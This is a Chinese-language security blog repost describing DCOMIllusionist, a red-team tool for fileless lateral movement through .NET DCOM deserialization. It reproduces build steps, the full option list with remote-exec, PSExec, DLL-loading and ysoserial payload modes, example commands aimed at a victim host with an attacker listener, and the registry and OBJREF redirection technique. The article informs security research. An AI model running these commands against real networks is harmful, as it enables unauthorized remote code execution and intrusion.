文章总结: 该文档介绍利用.NETDCOM服务器反序列化漏洞实现无文件横向移动的技术工具DCOMIllusionist,需管理员权限通过远程注册表修改关联CLSID与AppID实现跨会话命令执行。核心机制为伪造OBJREF重定向目标机至攻击者主机触发反序列化,支持PSExec、DLL加载等多种攻击模式,适用于域环境横向渗透。 综合评分: 75 文章分类: 内网渗透,漏洞分析,红队,横向移动,应急响应
通过 .Net 反序列化实现内存中的 DCOM 和无文件横向移动技术
Ots安全
2026年6月15日 19:23 广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
介绍
如果您拥有管理员权限,此工具可在 Windows 计算机上启用远程代码执行。它利用 DCOM 和 .NET DCOM 服务器的特性,自动反序列化传入对象。这使得执行任意命令或加载 DLL 而无需写入磁盘成为可能。
该方法最初由 James Forshaw 发现,是一种权限提升技术,后来被改造用于通过远程修改特定注册表项进行横向移动。此外,它还支持通过 DCOM 进行跨会话利用,允许在另一个用户会话的安全上下文中执行任意命令。
该技术适用于工作站和服务器,但目标机器与攻击者控制的机器之间需要网络访问才能使该技术生效。
本节包含更多详细信息。
构造
您可以下载发布版本,也可以手动构建:
PS F:\> git clone https://github.com/Hug0Vincent/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
重要的 “!!!!!!!!!”
要成功使用此工具,需要在攻击主机(通过提升权限的 shell)和目标机器上都拥有管理员权限。
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
技术细节
当用 .NET 编写的 DCOM 服务器接收到对象时,它会查询IManagedObjectDCOM 接口。如果接口存在,服务器会调用相应的GetSerializedBuffer方法。客户端会返回对象的序列化版本,服务器随后会对其进行反序列化,从而导致任意代码执行。要使攻击成功,受害计算机必须能够直接通过网络访问攻击者的主机
通过伪造任意 DCOM 对象引用 (OBJREF),可以将目标机器重定向到任何远程系统。例如,可以使用 socat 将端口 135(以及另一个任意端口)上的流量转发到攻击者实际控制的机器。在 James Forshaw 的概念验证中(该验证后来成为“Potato”漏洞利用的基础),他使用 GUID 来编组PointerMoniker任意对象到对象引用 (OBJREF) 中。这种方法成功触发了身份验证,但在后续步骤中失败。如果改用标准编组器的 GUID,则可以创建并发送功能齐全的任意对象引用 (OBJREF)。
然而,在所测试的 Windows Server 版本中,默认情况下并未公开任何 .NET DCOM 服务器。要启用远程交互,可以远程修改 Windows 注册表,将自定义 AppID 与 .NET CLSID 关联起来,使其可以通过 DCOM 访问。如果目标计算机上存在交互式会话,则通过精心选择 AppID,还可以利用会话别名实现跨会话攻击。James Forshaw在此处和此处再次发现了这一漏洞并进行了详细描述。
要使攻击成功,目标服务器必须从攻击者控制的机器上检索序列化对象数据(即“小工具”)。这需要服务器向攻击者的主机进行身份验证。
如果 AppID 未配置为以交互式用户的身份运行,则身份验证尝试将以匿名方式发起。要允许这种情况发生,攻击者的计算机必须配置为接受匿名 DCOM 身份验证,方法是修改其默认的 DCOM 访问权限。
当 AppID 与交互式用户关联时,身份验证将使用指定会话(通过 <session\_id>)中的用户身份进行,–session或者默认使用会话 0。在这种情况下,攻击者的计算机必须加入域才能接受用户的身份验证。因此,为了确保身份验证成功,会将“Everyone”组临时添加到默认的 DCOM 访问权限中。
需要注意的是,本次操作仅修改默认访问权限,启动和激活权限保持不变。所有更改将在操作完成后还原。如果出现问题,系统会创建原始设置的备份,您可以进行恢复。
项目地址:
https://github.com/synacktiv/DCOMIllusionist
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《通过 .Net 反序列化实现内存中的 DCOM 和无文件横向移动技术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论